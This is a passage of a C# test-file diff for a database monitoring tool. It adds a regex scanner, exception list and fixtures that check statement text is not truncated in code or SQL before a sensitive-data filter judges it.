+    private static readonly Regex TruncateCall = new(@"\bTruncate(?:Text)?\s*\(", RegexOptions.Compiled);
+    private static readonly Regex SubstringCall = new(@"([\w][\w\.\?!]*)\s*\.\s*Substring\s*\(", RegexOptions.Compiled);
+    private static readonly Regex RangeCut = new(@"([\w][\w\.\?!]*)\s*\[[^\]\[]*\.\.[^\]\[]*\]", RegexOptions.Compiled);
+    private static readonly Regex SqlCut = new(@"\b(left|substring|substr|array_slice|list_slice)\s*\(", RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+    /// <summary>The cut helpers that are not <c>Truncate</c>: the code-point cut and the pileup readers' <c>RawCut</c>.</summary>
+    private static readonly Regex CutHelperCall = new(@"\b(CutCodePoints|RawCut)\s*\(", RegexOptions.Compiled);
+
+    /// <summary><c>x.Take(n)</c>: the cut of a line list. Only a receiver that is statement text, or lines split out of it, counts.</summary>
+    private static readonly Regex TakeCall = new(@"([\w][\w\.\?!]*)\s*\.\s*Take\s*\(", RegexOptions.Compiled);
+
+    /// <summary>
+    /// <c>x.AsSpan(a, b)</c> / <c>x.AsSpan(n)</c> (a sliced span, also inside <c>string.Concat</c>), and the whole-text
+    /// <c>x.AsSpan()</c> followed by a range index or <c>.Slice(...)</c>. #5361 F2.
+    /// </summary>
+    private static readonly Regex AsSpanCall = new(@"([\w][\w\.\?!]*)\s*\.\s*AsSpan\s*\(", RegexOptions.Compiled);
+
+    /// <summary><c>x.Remove(n)</c>: drops the tail (or a middle run) of a string.</summary>
+    private static readonly Regex RemoveCall = new(@"([\w][\w\.\?!]*)\s*\.\s*Remove\s*\(", RegexOptions.Compiled);
+
+    /// <summary><c>x.Slice(a, b)</c> on a span or memory of statement text.</summary>
+    private static readonly Regex SliceCall = new(@"([\w][\w\.\?!]*)\s*\.\s*Slice\s*\(", RegexOptions.Compiled);
+
+    /// <summary>The <c>.Take(</c> of any chain, including one after a call (<c>x.Split('\n').Take(5)</c>).</summary>
+    private static readonly Regex AnyTakeCall = new(@"\.\s*Take\s*\(", RegexOptions.Compiled);
+
+    /// <summary>DuckDB slice in SQL: <c>col[1:n]</c>, <c>col[:n]</c>.</summary>
+    private static readonly Regex SqlSlice = new(@"([\w][\w\.]*)\s*\[[^\]\[]*:[^\]\[]*\]", RegexOptions.Compiled);
+
+    /// <summary>The fixed-length character types that truncate in PostgreSQL: <c>varchar(n)</c>, <c>char(n)</c>, <c>character varying(n)</c>.</summary>
+    private const string LengthLimitedType = @"(?:character\s+varying|character|varchar|bpchar|char)\s*\(\s*\d+\s*\)";
+
+    /// <summary>PostgreSQL <c>operand::varchar(n)</c>. The operand is a name, or a parenthesised expression read by <see cref="OperandBefore"/>.</summary>
+    private static readonly Regex SqlCastOperator = new(@"::\s*" + LengthLimitedType, RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+    /// <summary>PostgreSQL / DuckDB <c>CAST(operand AS varchar(n))</c>.</summary>
+    private static readonly Regex SqlCastCall = new(@"\bcast\s*\(", RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+    private static readonly Regex SqlCastTail = new(@"\bas\s+" + LengthLimitedType + @"\s*$", RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+    /// <summary>A call that judges statement text whole (the judge itself, or a helper that judges then cuts).</summary>
+    private static readonly Regex JudgeCall = new(
+        @"\b(?:SensitiveStatements\s*\.\s*(?:Text|Xml|Json)|AnalysisStatementText\s*\.\s*Preview|TruncateStatement|StatementPreview|FilterStoredPlan)\s*\(",
+        RegexOptions.Compiled);
+
+    private static readonly Regex Assignment = new(@"\b(\w+)\s*=(?![=>])", RegexOptions.Compiled);
+
+    /// <summary>A string local, field or constant initialised from one literal: lets <c>LEFT({col}, n)</c> be read as the column <c>col</c> names.</summary>
+    private static readonly Regex StringConstant = new(
+        @"\b(?:string|var)\s+(\w+)\s*=\s*(\$?@?""[^;]*);", RegexOptions.Compiled);
+
+    private static readonly Regex Identifier = new(@"[A-Za-z_]\w*", RegexOptions.Compiled);
+
+    internal sealed record Hit(string Kind, int Line, string Expression);
+
+    /// <param name="Ceiling">True for an exception the same wave retires: the count is then a ceiling, so it
+    /// passes at 0 as well and cannot go stale when the owning change lands. The default is exact.</param>
+    private sealed record Allowed(string File, string Expression, int Count, string Reason, bool Ceiling = false);
+
+    /// <summary>
+    /// Cuts of statement-named values that are allowed to stay, each by file and expression. The count is exact, so
+    /// an exception that stops being needed (or doubles) fails here and is removed or re-argued on purpose, unless it
+    /// is marked a ceiling.
+    /// </summary>
+    private static readonly Allowed[] Exceptions =
+    {
+        new("Lite/Services/LocalDataService.FinOps.Recommendations.cs", "left(@sql,len(@sql)-10)", 1,
+            "trims the trailing UNION ALL off the dynamic script this method is building; the script is never shown as a statement"),
+        new("Lite/Services/LocalDataService.FinOps.Workload.cs", "left(query_text,200)", 1,
+            "QueryPreview: the desktop grid cell; the same row carries FullQueryText whole and no Lite MCP tool reads QueryPreview"),
+        new("Lite/Services/LocalDataService.FinOps.Workload.cs", "left(qs2.query_text,200)", 1,
+            "SampleQueryText: the desktop grid cell; the same row carries FullQueryText whole and no Lite MCP tool reads SampleQueryText"),
+        new("Lite/Services/LocalDataService.QueryStats.cs", "left(query_text,120)", 1,
+            "the desktop heatmap hover (GetQueryHeatmapAsync); the get_query_heatmap tool reads LocalDataService.QueryHeatmap.cs, which fetches whole text and cuts after the filter"),
+        new("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs", "row.victimstatement!", 1,
+            "BuildPgDeadlockIncident cuts a PostgreSQL victim statement the collector already judged whole: PgDeadlockLogParser redacts the whole report (PgLogTextRedactor.RedactDetail) before it takes the victim's statement out of it, and PgDeadlockLogParser.NormalizeStatement re-reads a stored one. Nothing here sees raw text"),
+        new("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs", "row.rootquery!", 1,
+            "BuildPgBlockingIncident cuts a PostgreSQL root query the target already judged whole: PgBlockingCollector wraps blocker.query in PgSensitiveStatementFilter.SqlPredicate on the target before the row leaves it (PgSensitiveStatementFilterTests), and PgStatementTextScrub covers rows stored before that. Nothing here sees raw text"),
+        new("PerformanceMonitor.Notifications/AnalysisNotificationService.cs", "element.getrawtext()", 1,
+            "ScalarText shortens a nested drill-down object or array for the finding notification's field. The drill-down JSON is what DrillDownCollector stores: its statement values are judge-then-cut there (AnalysisStatementText.Preview), so this cuts judged values and never sees raw statement text"),
+        new("PerformanceMonitor.Notifications/WebhookAlertService.cs", "paragraph", 2,
+            "SplitProseLabel splits a synthesized advice paragraph on its first ': ' into label and value; both halves are kept, nothing is cut off (the name matches 'graph')"),
+        new("Darling/PerformanceMonitor.Darling.Service/Mcp/TopRanking.cs", "sql", 2,
+            "ReplaceOnce splices a ranking clause into the top-N query's own SQL script with string.Concat over AsSpan; the script is our text, not a statement read from a monitored server"),
+        new("PerformanceMonitor.Analysis/SameStatementPileupDetector.cs", "normalized", 1,
+            "Preview normalizes whitespace and cuts the finding's printed statement; its only caller passes SnapshotRow.PreviewText, which the reader judged whole before it cut (a null PreviewText prints an empty string, #5361 F1). Nothing here sees raw text"),
+        new("Lite/Analysis/BaselineProvider.cs", "eventbaselinesql", 3,
+            "slices the event-baseline SQL script (our own query text) around its events CTE to swap one column; it is a script, not a statement read from a monitored server"),
+        new("Lite/Analysis/PileupSnapshotReader.cs", "rawcut(rawtext)", 1,
+            "identity only: the cut text is the same-statement pileup's grouping key and noise test, built from the raw read and never printed; the shown text is cut after the judge"),
+        new("Darling/PerformanceMonitor.Darling.Analysis/PgPileupSnapshotReader.cs", "cutcodepoints(rawtext", 1,
+            "identity only: the cut text is the same-statement pileup's grouping key and noise test (a null-hash surrogate), built from the raw read and never printed; the shown text is cut after the judge"),
+        new("Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Deadlocks.cs",
+            "left(encode(sha256(convert_to(latest_graph_text,'utf8')),'hex'),32)", 1,
+            "an identity hash of the raw graph, compared with latest_hash and never shown"),
+        new("Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Deadlocks.cs", "lines.take", 1,
+            "BoundGraphText bounds a graph its caller already judged whole (graphNormalized = SensitiveStatements.Text(...)); it cuts whole lines of judged text and never sees raw"),
+    };
+
+    // ------------------------------------------------------------------ the scanner
+
+    /// <summary>Every cut of statement-named text in one C# source: the C# shapes and the SQL-in-literal shape.</summary>
+    internal static List<Hit> Scan(string source)
+    {
+        var hits = new List<Hit>();
+
+        var code = CSharpSourceWalker.StripCommentsAndStrings(source);
+        var judged = JudgedLocals(code);
+
+        foreach (Match m in TruncateCall.Matches(code))
+        {
+            var arg = FirstArgument(code, m.Index + m.Length - 1);
+            if (StatementName.IsMatch(arg) && !IsJudgedLocal(judged, arg, m.Index))
+                hits.Add(new Hit("C# Truncate", LineOf(code, m.Index), Normalize(arg)));
+        }
+
+        foreach (Match m in CutHelperCall.Matches(code))
+        {
+            var arg = FirstArgument(code, m.Index + m.Length - 1);
+            if (StatementName.IsMatch(arg) && !IsJudgedLocal(judged, arg, m.Index))
+                hits.Add(new Hit("C# " + m.Groups[1].Value, LineOf(code, m.Index), Normalize(m.Groups[1].Value + "(" + arg + ")")));
+        }
+
+        foreach (Match m in SubstringCall.Matches(code))
+        {
+            if (StatementName.IsMatch(m.Groups[1].Value) && !IsJudgedLocal(judged, m.Groups[1].Value, m.Index))
+                hits.Add(new Hit("C# Substring", LineOf(code, m.Index), Normalize(m.Groups[1].Value)));
+        }
+
+        foreach (Match m in RangeCut.Matches(code))
+        {
+            if (StatementName.IsMatch(m.Groups[1].Value) && !IsJudgedLocal(judged, m.Groups[1].Value, m.Index))
+                hits.Add(new Hit("C# range", LineOf(code, m.Index), Normalize(m.Groups[1].Value)));
+        }
+
+        foreach (Match m in TakeCall.Matches(code))
+        {
+            var receiver = m.Groups[1].Value;
+            if (!TakesStatementLines(code, receiver, m.Index) || IsJudgedLocal(judged, receiver, m.Index)) continue;
+            hits.Add(new Hit("C# Take", LineOf(code, m.Index), Normalize(receiver + ".Take")));
+        }
+
+        foreach (Match m in AsSpanCall.Matches(code))
+        {
+            var receiver = m.Groups[1].Value;
+            if (!StatementName.IsMatch(receiver) || IsJudgedLocal(judged, receiver, m.Index)) continue;
+
+            var open = m.Index + m.Length - 1;
+            var args = CallBody(code, open);
+            if (args.Trim().Length == 0)
+            {
+                /* x.AsSpan() on its own is not a cut; x.AsSpan()[..n] and x.AsSpan().Slice(a, b) are. */
+                var after = open + args.Length + 2;
+                while (after < code.Length && char.IsWhiteSpace(code[after])) after++;
+                var ranged = after < code.Length && code[after] == '['
+                    && BracketBody(code, after).Contains("..", StringComparison.Ordinal);
+                var sliced = Regex.IsMatch(code.Substring(after, Math.Min(code.Length - after, 12)), @"^\.\s*Slice\s*\(");
+                if (!ranged && !sliced) continue;
+            }
+
+            hits.Add(new Hit("C# AsSpan", LineOf(code, m.Index), Normalize(receiver)));
+        }
+
+        foreach (Match m in SliceCall.Matches(code))
+        {
+            var receiver = m.Groups[1].Value;
+            if (StatementName.IsMatch(receiver) && !IsJudgedLocal(judged, receiver, m.Index))
+                hits.Add(new Hit("C# Slice", LineOf(code, m.Index), Normalize(receiver)));
+        }
+
+        foreach (Match m in RemoveCall.Matches(code))
+        {
+            var receiver = m.Groups[1].Value;
+            if (StatementName.IsMatch(receiver) && !IsJudgedLocal(judged, receiver, m.Index))
+                hits.Add(new Hit("C# Remove", LineOf(code, m.Index), Normalize(receiver)));
+        }
+
+        foreach (Match m in AnyTakeCall.Matches(code))
+        {
+            /* A Take after a call: x.Split('\n').Take(5). The chain's own names count, its arguments do not. */
+            var before = m.Index;
+            while (before > 0 && char.IsWhiteSpace(code[before - 1])) before--;
+            if (before == 0 || code[before - 1] != ')') continue;
+
+            var chain = ChainBefore(code, before);
+            var root = Identifier.Match(chain);
+            if (!StatementName.IsMatch(chain) || root.Success && IsJudgedLocal(judged, root.Value, m.Index)) continue;
+            hits.Add(new Hit("C# Take", LineOf(code, m.Index), Normalize(chain + ".Take")));
+        }
+
+        var constants = StringConstant.Matches(source)
+            .GroupBy(c => c.Groups[1].Value, StringComparer.Ordinal)
+            .ToDictionary(g => g.Key, g => g.First().Groups[2].Value, StringComparer.Ordinal);
+
+        foreach (var (start, body) in CSharpSourceWalker.StringLiteralBodies(source))
+        {
+            foreach (Match m in SqlCut.Matches(body))
+            {
+                var open = m.Index + m.Length - 1;
+                var arg = FirstArgument(body, open);
+
+                /* An interpolation hole is blank in the body. Read the same call out of the source (the body keeps the
+                   source's offsets) so LEFT({col}, n) is judged by the hole's own name, or by the constant it names. */
+                var inSource = start + open < source.Length && source[start + open] == '(';
+                var rawArg = inSource ? FirstArgument(source, start + open) : arg;
+                var viaHole = inSource && !StatementName.IsMatch(arg) && SameButForHoles(arg, rawArg)
+                    && HoleNamesStatementText(rawArg, constants);
+                if (!StatementName.IsMatch(arg) && !viaHole) continue;
+
+                var whole = Normalize(m.Groups[1].Value + "(" + (viaHole ? CallBody(source, start + open) : CallBody(body, open)) + ")");
+                hits.Add(new Hit("SQL " + m.Groups[1].Value.ToLowerInvariant(), LineOf(source, start + m.Index), whole));
+            }
+        }
+
+        /* #5361 F2: the SQL cuts that are not LEFT/SUBSTRING: a DuckDB slice and a PostgreSQL fixed-length cast. */
+        foreach (var (start, body) in CSharpSourceWalker.StringLiteralBodies(source))
+        {
+            foreach (Match m in SqlSlice.Matches(body))
+            {
+                if (StatementName.IsMatch(m.Groups[1].Value))
+                    hits.Add(new Hit("SQL slice", LineOf(source, start + m.Index), Normalize(m.Value)));
+            }
+
+            foreach (Match m in SqlCastOperator.Matches(body))
+            {
+                var operand = OperandBefore(body, m.Index);
+                if (StatementName.IsMatch(operand))
+                    hits.Add(new Hit("SQL cast", LineOf(source, start + m.Index), Normalize(operand + m.Value)));
+            }
+
+            foreach (Match m in SqlCastCall.Matches(body))
+            {
+                var inner = CallBody(body, m.Index + m.Length - 1);
+                var tail = SqlCastTail.Match(inner);
+                if (tail.Success && StatementName.IsMatch(inner.Substring(0, tail.Index)))
+                    hits.Add(new Hit("SQL cast", LineOf(source, start + m.Index), Normalize("cast(" + inner + ")")));
+            }
+        }
+
+        return hits;
+    }
+
+    /// <summary>The operand of a <c>::</c> at <paramref name="at"/>: the name before it, or the parenthesised expression.</summary>
+    private static string OperandBefore(string text, int at)
+    {
+        var end = at;
+        while (end > 0 && char.IsWhiteSpace(text[end - 1])) end--;
+        if (end == 0) return "";
+
+        if (text[end - 1] == ')')
+        {
+            var depth = 0;
+            for (var i = end - 1; i >= 0; i--)
+            {
+                if (text[i] == ')') depth++;
+                else if (text[i] == '(' && --depth == 0) return text.Substring(i, end - i);
+            }
+
+            return text.Substring(0, end);
+        }
+
+        var begin = end;
+        while (begin > 0 && (char.IsLetterOrDigit(text[begin - 1]) || text[begin - 1] is '_' or '.')) begin--;
+        return text.Substring(begin, end - begin);
+    }
+
+    /// <summary>The call chain that ends at <paramref name="end"/> (just after a closing paren), with every call's arguments blanked.</summary>
+    private static string ChainBefore(string code, int end)
+    {
+        var sb = new StringBuilder();
+        var i = end;
+        while (i > 0)
+        {
+            var c = code[i - 1];
+            if (c == ')')
+            {
+                var depth = 0;
+                var j = i - 1;
+                for (; j >= 0; j--)
+                {
+                    if (code[j] == ')') depth++;
+                    else if (code[j] == '(' && --depth == 0) break;
+                }
+
+                if (j < 0) break;
+                sb.Insert(0, "()");
+                i = j;
+            }
+            else if (char.IsLetterOrDigit(c) || c is '_' or '.' or '?' or '!')
+            {
+                sb.Insert(0, c);
+                i--;
+            }
+            else if (char.IsWhiteSpace(c))
+            {
+                i--;
+            }
+            else break;
+        }
+
+        return sb.ToString();
+    }
+
+    /// <summary>Everything between the '[' at <paramref name="open"/> and its closing bracket.</summary>
+    private static string BracketBody(string text, int open)
+    {
+        var depth = 0;
+        for (var i = open; i < text.Length; i++)
+        {
+            if (text[i] == '[') depth++;
+            else if (text[i] == ']' && --depth == 0) return text.Substring(open + 1, i - open - 1);
+        }
+
+        return text.Substring(open + 1);
+    }
+
+    /// <summary>
+    /// True when <paramref name="raw"/> is <paramref name="body"/> with its blanked interpolation holes filled in: the same
+    /// length, and every non-blank character equal. A raw read that runs past the literal's end (a C# concatenation) is not.
+    /// </summary>
+    private static bool SameButForHoles(string body, string raw)
+    {
+        if (body.Length != raw.Length) return false;
+        for (var i = 0; i < body.Length; i++)
+        {
+            if (body[i] != ' ' && body[i] != raw[i]) return false;
+        }
+
+        return true;
+    }
+
+    /// <summary>True when an interpolation hole in a SQL column list names statement text, directly or through a string constant.</summary>
+    private static bool HoleNamesStatementText(string rawArg, Dictionary<string, string> constants)
+    {
+        if (StatementName.IsMatch(rawArg)) return true;
+
+        foreach (Match id in Identifier.Matches(rawArg))
+        {
+            if (constants.TryGetValue(id.Value, out var value) && StatementName.IsMatch(value)) return true;
+        }
+
+        return false;
+    }
+
+    /// <summary>A local assigned from a judge call, and the block it is in: the span where its cut is judge-then-cut.</summary>
+    private sealed record JudgedLocal(string Name, int From, int To);
+
+    /// <summary>
+    /// Every <c>name = ... judge(...)</c> in the source, scoped to the block the assignment sits in and to the text after
+    /// it. A judged local that is cut in that span is the sanctioned order; the same name cut in another method, or before
+    /// the assignment, is not excused.
+    /// </summary>
+    private static List<JudgedLocal> JudgedLocals(string code)
+    {
+        var locals = new List<JudgedLocal>();
+        foreach (Match m in Assignment.Matches(code))
+        {
+            var from = m.Index + m.Length;
+            var statement = code.Substring(from, StatementEnd(code, from) - from);
+            if (JudgeCall.IsMatch(statement)) locals.Add(new JudgedLocal(m.Groups[1].Value, from, BlockEnd(code, from)));
+        }
+
+        return locals;
+    }
+
+    private static bool IsJudgedLocal(List<JudgedLocal> judged, string operand, int at)
+    {
+        var name = operand.Trim().TrimEnd('!');
+        return Identifier.Match(name) is { Success: true } id && id.Value == name
+            && judged.Any(j => j.Name == name && j.From <= at && at < j.To);
+    }
+
+    /// <summary>The end of the statement or initialiser that starts at <paramref name="from"/>: a top-level <c>;</c> or <c>,</c>, or the bracket that closes the enclosing one.</summary>
+    private static int StatementEnd(string code, int from)
+    {
+        var depth = 0;
+        for (var i = from; i < code.Length; i++)
+        {
+            var c = code[i];
+            if (c is '(' or '[' or '{') depth++;
+            else if (c is ')' or ']' or '}')
+            {
+                if (--depth < 0) return i;
+            }
+            else if (c is ';' or ',' && depth == 0) return i;
+        }
+
+        return code.Length;
+    }
+
+    /// <summary>The close of the innermost block that holds <paramref name="from"/> (the end of the text when braces never balance).</summary>
+    private static int BlockEnd(string code, int from)
+    {
+        var depth = 0;
+        for (var i = from; i < code.Length; i++)
+        {
+            if (code[i] == '{') depth++;
+            else if (code[i] == '}' && --depth < 0) return i;
+        }
+
+        return code.Length;
+    }
+
+    /// <summary>
+    /// True for <c>x.Take(n)</c> when <c>x</c> is named like statement text, or is a line list declared from statement text
+    /// (<c>var lines = graphText.Split('\n')</c>): a cut of a graph's lines is a cut of statement text.
+    /// </summary>
+    private static bool TakesStatementLines(string code, string receiver, int at)
+    {
+        if (StatementName.IsMatch(receiver)) return true;
+        if (!receiver.Contains("line", StringComparison.OrdinalIgnoreCase) || !Identifier.IsMatch(receiver)) return false;
+
+        var declaration = new Regex(@"\b" + Regex.Escape(receiver) + @"\s*=(?![=>])\s*([^;]*);");
+        return declaration.Matches(code.Substring(0, at)).Any(d => StatementName.IsMatch(d.Groups[1].Value));
+    }
+
+    private static string Normalize(string s) =>
+        Regex.Replace(s, @"\s+", "").ToLowerInvariant();
+
+    private static int LineOf(string text, int index)
+    {
+        var line = 1;
+        for (var i = 0; i < index && i < text.Length; i++)
+        {
+            if (text[i] == '\n') line++;
+        }
+
+        return line;
+    }
+
+    /// <summary>The first argument of the call whose '(' is at <paramref name="open"/>: up to a top-level comma or the closing paren.</summary>
+    private static string FirstArgument(string text, int open)
+    {
+        var depth = 0;
+        for (var i = open; i < text.Length; i++)
+        {
+            var c = text[i];
+            if (c == '(') depth++;
+            else if (c == ')')
+            {
+                depth--;
+                if (depth == 0) return text.Substring(open + 1, i - open - 1);
+            }
+            else if (c == ',' && depth == 1) return text.Substring(open + 1, i - open - 1);
+        }
+
+        return text.Substring(open + 1);
+    }
+
+    /// <summary>Everything between the '(' at <paramref name="open"/> and its closing paren.</summary>
+    private static string CallBody(string text, int open)
+    {
+        var depth = 0;
+        for (var i = open; i < text.Length; i++)
+        {
+            if (text[i] == '(') depth++;
+            else if (text[i] == ')' && --depth == 0) return text.Substring(open + 1, i - open - 1);
+        }
+
+        return text.Substring(open + 1);
+    }
+
+    private static IEnumerable<string> ScannedFiles() =>
+        ScannedTrees
+            .SelectMany(t => Directory.EnumerateFiles(Path.Combine(RepoFile.Root, t), "*.cs", SearchOption.AllDirectories))
+            .Select(f => Path.GetRelativePath(RepoFile.Root, f).Replace('\\', '/'))
+            .Where(f => !f.Contains("/obj/", StringComparison.Ordinal) && !f.Contains("/bin/", StringComparison.Ordinal))
+            .OrderBy(f => f, StringComparer.Ordinal);
+
+    /// <summary>The problems left after the named exceptions are applied to what the scan found, per file.</summary>
+    private static List<string> Reconcile(Dictionary<string, List<Hit>> perFile, IEnumerable<Allowed> exceptions)
+    {
+        var allExceptions = exceptions.ToList();
+        var problems = new List<string>();
+
+        foreach (var (file, hits) in perFile.OrderBy(p => p.Key, StringComparer.Ordinal))
+        {
+            var remaining = new List<Hit>(hits);
+
+            foreach (var allowed in allExceptions.Where(e => e.File == file))
+            {
+                var matched = remaining.Where(h => h.Expression.Contains(allowed.Expression, StringComparison.Ordinal)).ToList();
+                var wrong = allowed.Ceiling ? matched.Count > allowed.Count : matched.Count != allowed.Count;
+                if (wrong)
+                    problems.Add($"{file}: exception '{allowed.Expression}' expected {(allowed.Ceiling ? "at most " : "")}{allowed.Count} site(s), found {matched.Count}");
+                foreach (var h in matched) remaining.Remove(h);
+            }
+
+            foreach (var h in remaining)
+                problems.Add($"{file}:{h.Line}: {h.Kind} cuts statement text before the filter judges it: {h.Expression}");
+        }
+
+        foreach (var allowed in allExceptions.Where(e => !e.Ceiling))
+        {
+            if (!perFile.ContainsKey(allowed.File))
+                problems.Add($"{allowed.File}: exception '{allowed.Expression}' expected {allowed.Count} site(s), found 0 (remove it)");
+        }
+
+        return problems;
+    }
+
+    // ------------------------------------------------------------------ the real trees
+
+    [Fact]
+    public void NoStatementTextIsCutBeforeItIsJudged_ExceptTheNamedSites()
+    {
+        var files = ScannedFiles().ToList();
+        Assert.True(files.Count > 200, "the scan walked the trees: " + files.Count);
+        Assert.Contains(files, f => f.StartsWith("Lite/Analysis/", StringComparison.Ordinal));
+
+        var perFile = new Dictionary<string, List<Hit>>();
+        foreach (var file in files)
+        {
+            var hits = Scan(RepoFile.ReadRepoFile(file.Split('/')));
+            if (hits.Count > 0) perFile[file] = hits;
+        }
+
+        var problems = Reconcile(perFile, Exceptions);
+
+        Assert.True(problems.Count == 0, string.Join(Environment.NewLine, problems));
+    }
+
+    // ------------------------------------------------------------------ the scanner itself, on planted sources
+
+    [Theory]
+    [InlineData("var p = McpHelpers.Truncate(row.QueryText, 400);", "C# Truncate")]
+    [InlineData("var p = McpHelpers.Truncate(sqlText, 400);", "C# Truncate")]
+    [InlineData("var p = AlertContextBuilders.TruncateText(row.QueryText);", "C# Truncate")]
+    [InlineData("var p = McpHelpers.Truncate(query, 400);", "C# Truncate")]
+    [InlineData("var p = McpHelpers.Truncate(row.blocking_query, 400);", "C# Truncate")]
+    [InlineData("var p = TruncateText(g.BlockedQuery, 300);", "C# Truncate")]
+    [InlineData("var p = TruncateText(g.QueryText, 300);", "C# Truncate")]
+    [InlineData("var p = TruncateText(blockedQuery, 300);", "C# Truncate")]
+    [InlineData("var p = AlertContextBuilders.TruncateText(statement, 80);", "C# Truncate")]
+    [InlineData("var p = McpHelpers.Truncate(r.victim_sql_text ?? \"\", 400);", "C# Truncate")]
+    [InlineData("var p = McpHelpers.Truncate(inputbuf, 400);", "C# Truncate")]
+    [InlineData("var p = McpHelpers.Truncate(deadlockGraph, 400);", "C# Truncate")]
+    [InlineData("var p = statement.Substring(0, 200);", "C# Substring")]
+    [InlineData("var p = row.Statement?.Substring(0, 200);", "C# Substring")]
+    [InlineData("var p = sql_text[..200];", "C# range")]
+    [InlineData("var p = batch.QueryText[0..200];", "C# range")]
+    public void TheScanner_CatchesACSharpCutOfStatementText(string source, string kind)
+    {
+        var hits = Scan("class C { void M() { " + source + " } }");
+
+        Assert.Contains(hits, h => h.Kind == kind);
+    }
+
+    [Theory]
+    [InlineData("SELECT LEFT(query_text, 500) AS q FROM t")]
+    [InlineData("SELECT left(blocked_sql_text, 5) FROM t")]
+    [InlineData("SELECT SUBSTRING(r.query_text, 1, 300) FROM t r")]
+    [InlineData("SELECT substr(query_text, 1, 200) FROM t")]
+    [InlineData("SELECT LEFT(MAX(v.query_text), 500) FROM t v")]
+    [InlineData("SELECT LEFT(COALESCE(x.query_sql_text, l.query_text), 500) FROM t")]
+    [InlineData("SELECT LEFT(latest_graph_text, 4000) FROM t")]
+    [InlineData("SELECT LEFT(inputbuf, 4000) FROM t")]
+    [InlineData("SELECT LEFT(victim_statement, $5) FROM t")]
+    public void TheScanner_CatchesASqlCutOfStatementText(string sql)
+    {
+        var hits = Scan("class C { const string Q = @\"" + sql + "\"; }");
+
+        Assert.Contains(hits, h => h.Kind.StartsWith("SQL ", StringComparison.Ordinal));
+    }
+
+    [Theory]
+    [InlineData("var p = McpHelpers.Truncate(relationName, 63);")]
+    [InlineData("var p = McpHelpers.Truncate(serverName, 40);")]
+    [InlineData("var p = tableName.Substring(0, 10);")]
+    [InlineData("var p = schema_name[..8];")]
+    [InlineData("var p = McpHelpers.TruncateStatement(sqlText, 400);")]
+    [InlineData("var p = AlertContextBuilders.TruncateStatement(row.QueryText);")]
+    [InlineData("var p = AlertContextBuilders.TruncateText(j.Message, 300);")]
+    [InlineData("var p = McpHelpers.StatementPreview(row.QueryText, 400);")]
+    [InlineData("// McpHelpers.Truncate(sqlText, 400) is what this used to be")]
+    [InlineData("var note = \"McpHelpers.Truncate(sqlText, 400)\";")]
+    public void TheScanner_LeavesAnythingThatIsNotACutOfStatementText(string source)
+    {
+        var hits = Scan("class C { void M() { " + source + " } }");
+
+        Assert.Empty(hits);
+    }
+
+    [Theory]
+    [InlineData("SELECT LEFT(relname, 63) FROM pg_class")]
+    [InlineData("SELECT LEFT(server_name, 20) FROM servers")]
+    [InlineData("SELECT LEFT(query_hash, 8) FROM t")]
+    [InlineData("SELECT a FROM t LEFT JOIN (SELECT query_text FROM u) x ON x.id = t.id")]
+    [InlineData("SELECT query_text FROM t")]
+    public void TheScanner_LeavesSqlThatDoesNotCutStatementText(string sql)
+    {
+        var hits = Scan("class C { const string Q = @\"" + sql + "\"; }");
+
+        Assert.Empty(hits);
+    }
+
+    [Fact]
+    public void TheScanner_ReadsAnInterpolatedAndMultiLineLiteral_AndReportsTheLine()
+    {
+        var source = new StringBuilder()
+            .AppendLine("class C")
+            .AppendLine("{")
+            .AppendLine("    string Q(int n) => $@\"SELECT a,")
+            .AppendLine("        LEFT(query_text, {n}) AS q FROM t\";")
+            .AppendLine("}")
+            .ToString();
+
+        var hits = Scan(source);
+
+        var hit = Assert.Single(hits);
+        Assert.Equal(4, hit.Line);
+    }
+
+    // ------------------------------------------------------------------ the rules added in #5361, each with its planted RED
+
+    private static List<Hit> ScanBody(string body) => Scan("class C { void M() { " + body + " } }");
+
+    [Theory]
+    [InlineData("var p = AnalysisStatementText.CutCodePoints(rawText, 500);", "C# CutCodePoints")]
+    [InlineData("var p = RawCut(rawText);", "C# RawCut")]
+    [InlineData("var p = victimNormalized[..400];", "C# range")]
+    [InlineData("var p = McpHelpers.Truncate(row.PreviewText, 400);", "C# Truncate")]
+    [InlineData("var p = McpHelpers.Truncate(r.TextData, 400);", "C# Truncate")]
+    [InlineData("var p = row.RootQuery!.Substring(0, 200);", "C# Substring")]
+    [InlineData("var lines = deadlockGraph.Split(','); var p = string.Join(',', lines.Take(40));", "C# Take")]
+    [InlineData("var p = string.Join(',', graphLines.Take(40));", "C# Take")]
+    public void TheScanner_CatchesTheWiderStatementNamesAndCutShapes(string body, string kind)
+    {
+        Assert.Contains(ScanBody(body), h => h.Kind == kind);
+    }
+
+    // ------------------------------------------------------------------ the shapes added in #5361 round 2 (F2), each with its planted RED
+
+    [Theory]
+    [InlineData("var p = row.QueryText.AsSpan(0, 200).ToString();", "C# AsSpan")]
+    [InlineData("var p = sqlText.AsSpan(200).ToString();", "C# AsSpan")]
+    [InlineData("var p = string.Concat(sqlText.AsSpan(0, 200), \"...\");", "C# AsSpan")]
+    [InlineData("var p = sqlText.AsSpan()[..200].ToString();", "C# AsSpan")]
+    [InlineData("var p = sqlText.AsSpan().Slice(0, 200).ToString();", "C# AsSpan")]
+    [InlineData("var p = statementText.Slice(0, 200);", "C# Slice")]
+    [InlineData("var p = row.Statement.Remove(200);", "C# Remove")]
+    [InlineData("var p = string.Join('\\n', deadlockGraph.Split('\\n').Take(40));", "C# Take")]
+    [InlineData("var p = deadlockGraph.Split('\\n', StringSplitOptions.RemoveEmptyEntries).Take(40).ToList();", "C# Take")]
+    public void TheScanner_CatchesTheCutShapesAddedInRoundTwo(string body, string kind)
+    {
+        Assert.Contains(ScanBody(body), h => h.Kind == kind);
+    }
+
+    [Theory]
+    [InlineData("var p = serverName.AsSpan(0, 3).ToString();")]
+    [InlineData("var n = int.Parse(sqlText.AsSpan());")]
+    [InlineData("var p = tableName.Remove(3);")]
+    [InlineData("var p = names.Split(',').Take(3).ToList();")]
+    [InlineData("var p = string.Concat(label.AsSpan(0, 3), \"x\");")]
